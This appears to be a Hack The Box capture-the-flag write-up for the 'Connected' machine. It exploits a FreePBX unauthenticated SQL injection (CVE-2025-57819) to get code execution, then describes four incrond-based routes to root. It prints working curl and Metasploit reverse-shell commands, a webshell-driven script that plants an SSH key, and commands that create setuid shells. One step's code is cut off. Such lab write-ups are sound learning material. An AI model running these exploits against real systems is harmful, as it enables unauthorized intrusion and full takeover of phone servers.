HTB Writeup · Season VI

HTB :: Connected

FreePBX unauthenticated RCE (CVE-2025-57819) chained with five distinct incrond-based privilege escalation paths to achieve root via an Asterisk daemon running under <code>incrond</code>.

OSLinux (CentOS 7)
User flagasterisk
Root flagroot
CVECVE-2025-57819
TagsFreePBX · SQLi · RCE · LPE · incrond

🔒 This section is password protected.

Recon

1.1 Port Scan

shell
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn
result
PORT    STATE SERVICE   REASON  VERSION
22/tcp  open  ssh       syn-ack OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5pB+WpL08kZ9YCgPA7QRnKjCsHY/R9oNeUQF1LD5Ms
80/tcp  open  http      syn-ack Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
443/tcp open  ssl/https syn-ack Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
| ssl-cert: Subject: commonName=pbxconnect
|_http-title: 400 Bad Request

The host exposes only SSH and a web stack — two attack surfaces, both pointing at the same application layer.

1.2 Webbing

The web application on port 80 was FreePBX, leaking its version 16.0.40.7 at the footer. That single fingerprint was all that was needed.

FreePBX version footer


User

2.1 FreePBX

2.1.1 Private Branch Exchange

PBX (Private Branch Exchange) is a company’s internal phone system. FreePBX is a web-based open-source GUI managing Asterisk, a VoIP and telephony server.

Browser
FreePBX web interface — GUI layer
Asterisk PBX server — telephony engine
VoIP calls / SIP trunks / extensions / voicemail

Asterisk routes calls between extensions, manages voicemail and conference rooms, serves IVR menus, registers SIP accounts, forwards calls, records audio, and connects to external telephone networks. FreePBX provides the GUI because raw Asterisk config is painful.

FreePBX login panel

2.1.2 CVE-2025-57819

The footer gave us FreePBX 16.0.40.7. The advisory describes an unauthenticated path into FreePBX Administrator through insufficient validation in the commercial endpoint module, leading to SQL injection and then remote code execution.

Vulnerability Shape
Unauthenticated HTTP → /admin/ajax.php → endpoint-style AJAX module → unsanitized input reaches SQL → database write (cron/webshell) → RCE

2.1.2.1 Pre-auth AJAX Router

In amp_conf/htdocs/admin/ajax.php, module and command are read directly from the request with framework authentication disabled for bootstrap:

php · ajax.php
$module = $_REQUEST['module'];
$command = $_REQUEST['command'];

// No auth - we’ll do that later. $bootstrap_settings[‘freepbx_auth’] = false;

$bmo->Ajax->doRequest($module, $command);

This is the first auth break. In Ajax.class.php, doRequest() converts the module name into a class file and asks that module whether the command is allowed — before any session check:

php · Ajax.class.php
if ($this->settings['authenticate']) {
    if (!isset($_SESSION['AMP_user'])) {
        $this->ajaxError(401, 'Not Authenticated');
    }
}

This is the second auth break: the module’s ajaxRequest() decision happens before the session check, and it can change $settings. A vulnerable module can mark a command as allowed without requiring a logged-in admin session.

2.1.2.2 SQL Injection PoC

The watchTowr detection artifact and the Metasploit module both use the same Endpoint Manager request shape:

http
GET /admin/ajax.php
?module=FreePBX\modules\endpoint\ajax
&command=model
&template=x
&model=model
&brand=x'

Changing brand to a time-delay SQL expression confirms execution:

bash · sqli_poc.sh
#!/bin/bash
base='http://connected.htb'
url="$base/admin/ajax.php"
mod='FreePBX\modules\endpoint\ajax'
sql='SELECT SLEEP(5)-- -'

curl -sk -o /dev/null -w ‘baseline: %{time_total}s\n’
–get “$url”
–data-urlencode “module=$mod”
–data-urlencode “command=model”
–data-urlencode “template=x”
–data-urlencode “model=model”
–data-urlencode “brand=x”

curl -sk -o /dev/null -w ‘sqli: %{time_total}s\n’
–get “$url”
–data-urlencode “module=$mod”
–data-urlencode “command=model”
–data-urlencode “template=x”
–data-urlencode “model=model”
–data-urlencode “brand=x’;$sql”

result — timing confirms SQLi
$ bash sqli_poc.sh
baseline: 0.917134s
sqli: 11.050604s

2.1.3 SQLi → RCE

2.1.3.1 Metasploit

The public Metasploit module follows the same request shape and writes a FreePBX cron entry through the SQL injection:

msf
use exploit/unix/http/freepbx_unauth_sqli_to_rce
set RHOSTS 10.129.78.103
set VHOST connected.htb
set TARGETURI /
set SSL false
set LHOST tun0
set FETCH_WRITABLE_DIR /tmp
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
run
meterpreter session
[*] Started reverse TCP handler on 10.10.13.68:4444
[+] Created cronjob with job name: 'fXAAv'
[*] Waiting for cronjob to trigger...
[*] Meterpreter session 1 opened (10.10.13.68:4444 -> 10.129.78.103:48674)
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!

meterpreter > getuid Server username: asterisk

🚩
User Flag — /home/asterisk/user.txt
a*******************************1

2.1.3.2 RCE to SSH

The one-shot RCE can be upgraded to a cleaner SSH connection using the watchTowr PoC as the command runner:

bash · rce2ssh.sh
#!/bin/bash
# Upgrade the FreePBX RCE into SSH access via the watchTowr PoC
set -euo pipefail

rm -f /tmp/k /tmp/k.pub ssh-keygen -q -t ed25519 -f /tmp/k -N ""

u=“asterisk” d=“connected.htb” poc="./watchTowr-vs-FreePBX-CVE-2025-57819.py" pk="$(cat /tmp/k.pub)" sp="/home/$u/.ssh" cmd=“install -d -m 700 $sp && printf ‘%s\n’ ‘$pk’ > $sp/authorized_keys && chmod 600 $sp/authorized_keys”

python3 “$poc” -H “http://$d” | tee /tmp/cve-2025-57819.out

shell="$(grep -oE ‘https?://[^ ]+watchTowr[a-z0-9]+.php?cmd=hostname’ /tmp/cve-2025-57819.out
| tail -n1 | sed ’s/?cmd=hostname$//’)"

curl -skG “$shell” –data-urlencode “cmd=$cmd” >/dev/null chmod 600 /tmp/k ssh -i /tmp/k “$u@$d”

SSH shell obtained
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-4w3e6u3lej.php

asterisk@connected:$ id uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk) asterisk@connected:$ cat user.txt a*******************************1


Root

3.1 Local Enumeration

LinPEAS highlighted incrond — not a normal cron job. It’s a filesystem event daemon that runs configured commands when watched paths are modified.

LinPEAS output showing incrond

LinPEAS red flag

Key Insight
The current shell is asterisk, and FreePBX stores several operational trigger files under asterisk-controlled paths. If root-owned incrond rules watch those paths, then a write by asterisk can become a root-owned service action.

3.2 Incron

3.2.1 Filesystem Event-Driven Cron

incron is cron for filesystem events. Instead of running a command at a fixed time, it watches a path and runs a command when a configured event happens: file closed after write, file modified, attributes changed, and so on.

incrontab rule (path + event + command)
incrond — watches path via inotify
filesystem event triggered (write / modify / chmod)
incrond matches rule → executes configured command as root

3.2.2 Incrontab Rules

System-wide rules live under /etc/incron.d/. All three rule files were readable from the asterisk shell:

incron rules
asterisk@connected:~$ cat /etc/incron.d/*
/var/spool/asterisk/sysadmin/vpnget                   IN_CLOSE_WRITE  /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE  /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron       IN_CLOSE_WRITE  /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup           IN_CLOSE_WRITE  /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/wanrouter_restart        IN_CLOSE_WRITE  /usr/sbin/sysadmin_wanrouter_restart
/var/spool/asterisk/sysadmin/dahdi_restart            IN_CLOSE_WRITE  /usr/sbin/sysadmin_dahdi_restart
/usr/local/asterisk/ha_trigger                        IN_CLOSE_WRITE  /usr/sbin/sysadmin_ha
/usr/local/asterisk/incron                            IN_CLOSE_WRITE  /usr/bin/sysadmin_manager --local $#

/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

Every watched path is owned by asterisk. That means all these rules are triggerable from the compromised shell — creating, modifying, or closing the trigger file will dispatch into the paired root-side helper.

3.3 Exploit Paths

Five viable paths were identified. Four were exploited successfully:

DAHDI Restart
Write payload into /etc/dahdi/init.conf (asterisk-owned). DAHDI init script sources it as root during restart.
Trigger: touch /var/spool/asterisk/sysadmin/dahdi_restart
SysAdmin Hook Hijack
Replace a signed hook under hooks/ (asterisk-owned) and patch module.sig hash. Dispatcher executes replaced hook as root.
Trigger: touch /var/spool/asterisk/incron/sysadmin_fail2ban-stop
WAN Router Restart
Write payload into /etc/wanpipe/wanrouter.rc (asterisk-owned). WANPIPE init script sources it as root.
Trigger: touch /var/spool/asterisk/sysadmin/wanrouter_restart
HA Module Plant
Create fake freepbx_ha module with malicious incron.php. Helper includes it and calls rootTrigger().
Trigger: touch /usr/local/asterisk/ha_trigger
SysAdmin Update Cron
DB credentials valid, but helper dies on missing DB.php (PEAR dependency not installed). No writable include path found.
Dead end — PEAR DB.php absent from /usr/share/pear and /usr/share/php

3.3.1 Path 1 — DAHDI init.conf Injection

DAHDI (Digium Asterisk Hardware Device Interface) is the hardware layer used by Asterisk for traditional telephony. A DAHDI restart is a privileged operation — it runs as root, loads shell configuration, manages kernel modules, and rebuilds device state.

Line 69 of /etc/init.d/dahdi sources /etc/dahdi/init.conf:

shell
[ -r /etc/dahdi/init.conf ] && . /etc/dahdi/init.conf

The . operator is POSIX shell source — commands in the file run in the root-owned init script’s process. Checking file ownership:

file ownership
asterisk@connected:~$ ls -l /etc/dahdi/init.conf
-rw-r--r--. 1 asterisk asterisk 771 Jun  5  2023 /etc/dahdi/init.conf

The file is owned by the compromised asterisk user. Exploit:

bash
cp /etc/dahdi/init.conf /tmp/dahdi.init.conf.bak
printf '\n install -m 4755 /bin/bash /tmp/pwn1 \n' >> /etc/dahdi/init.conf
touch /var/spool/asterisk/sysadmin/dahdi_restart
rooted
asterisk@connected:~$ ls -l /tmp/pwn1
-rwsr-xr-x 1 root root 964536 Jun  7 08:12 /tmp/pwn1
asterisk@connected:~$ /tmp/pwn1 -p
pwn1-5.2# id
uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk)
pwn1-5.2# cat /root/root.txt
5*****************************6
🚩
Root Flag — /root/root.txt
5*****************************6

3.3.2 Path 2 — SysAdmin Hook Hijack

The sysadmin_manager dispatcher treats the trigger filename as module_hook, resolves it to a hook script under the module’s hooks/ directory, and executes it as root — after verifying its SHA-256 hash against module.sig.

Both the hook files and module.sig are owned by asterisk. The bypass: replace the hook, then patch its hash in the sig file.

bash
cp /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop /tmp/fail2ban-stop.bak
cp /var/www/html/admin/modules/sysadmin/module.sig /tmp/module.sig.bak

cat > /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop «‘EOF’ #!/bin/bash install -m 4755 /bin/bash /tmp/pwn2 EOF chmod +x /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop

new_hash="$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop | awk ‘{print $1}’)" sed -i “s|^(hooks/fail2ban-stop = ).*|\1$new_hash|” /var/www/html/admin/modules/sysadmin/module.sig

touch /var/spool/asterisk/incron/sysadmin_fail2ban-stop

rooted again
asterisk@connected:~$ ls -l /tmp/pwn2
-rwsr-xr-x 1 root root 964536 Jun  7 08:35 /tmp/pwn2
asterisk@connected:~$ /tmp/pwn2 -p
pwn2-5.2# whoami
root

3.3.3 Path 3 — WAN Router wanrouter.rc Injection

The WANPIPE init script sources /etc/wanpipe/wanrouter.rc during startup (META_CONF=$WAN_HOME/wanrouter.rc, line 2053). This file is writable by asterisk:

bash
cp /etc/wanpipe/wanrouter.rc /tmp/wanrouter.rc.bak
printf '\n install -m 4755 /bin/bash /tmp/pwn3 \n' >> /etc/wanpipe/wanrouter.rc
touch /var/spool/asterisk/sysadmin/wanrouter_restart
rooted
pwn3-5.2# whoami
root

3.3.4 Path 4 — HA Module Plant

The sysadmin_ha helper includes freepbx_ha/functions.inc/incron.php and calls rootTrigger() if the file exists. The freepbx_ha module is absent, but the parent modules/ directory is writable by asterisk. Creating the PHP file is enough:

bash
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc
cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php <<'EOF'

rooted
pwn4-5.2# id
uid=999(asterisk) gid=1000(asterisk) euid=0(root) groups=1000(asterisk)
pwn4-5.2# whoami
root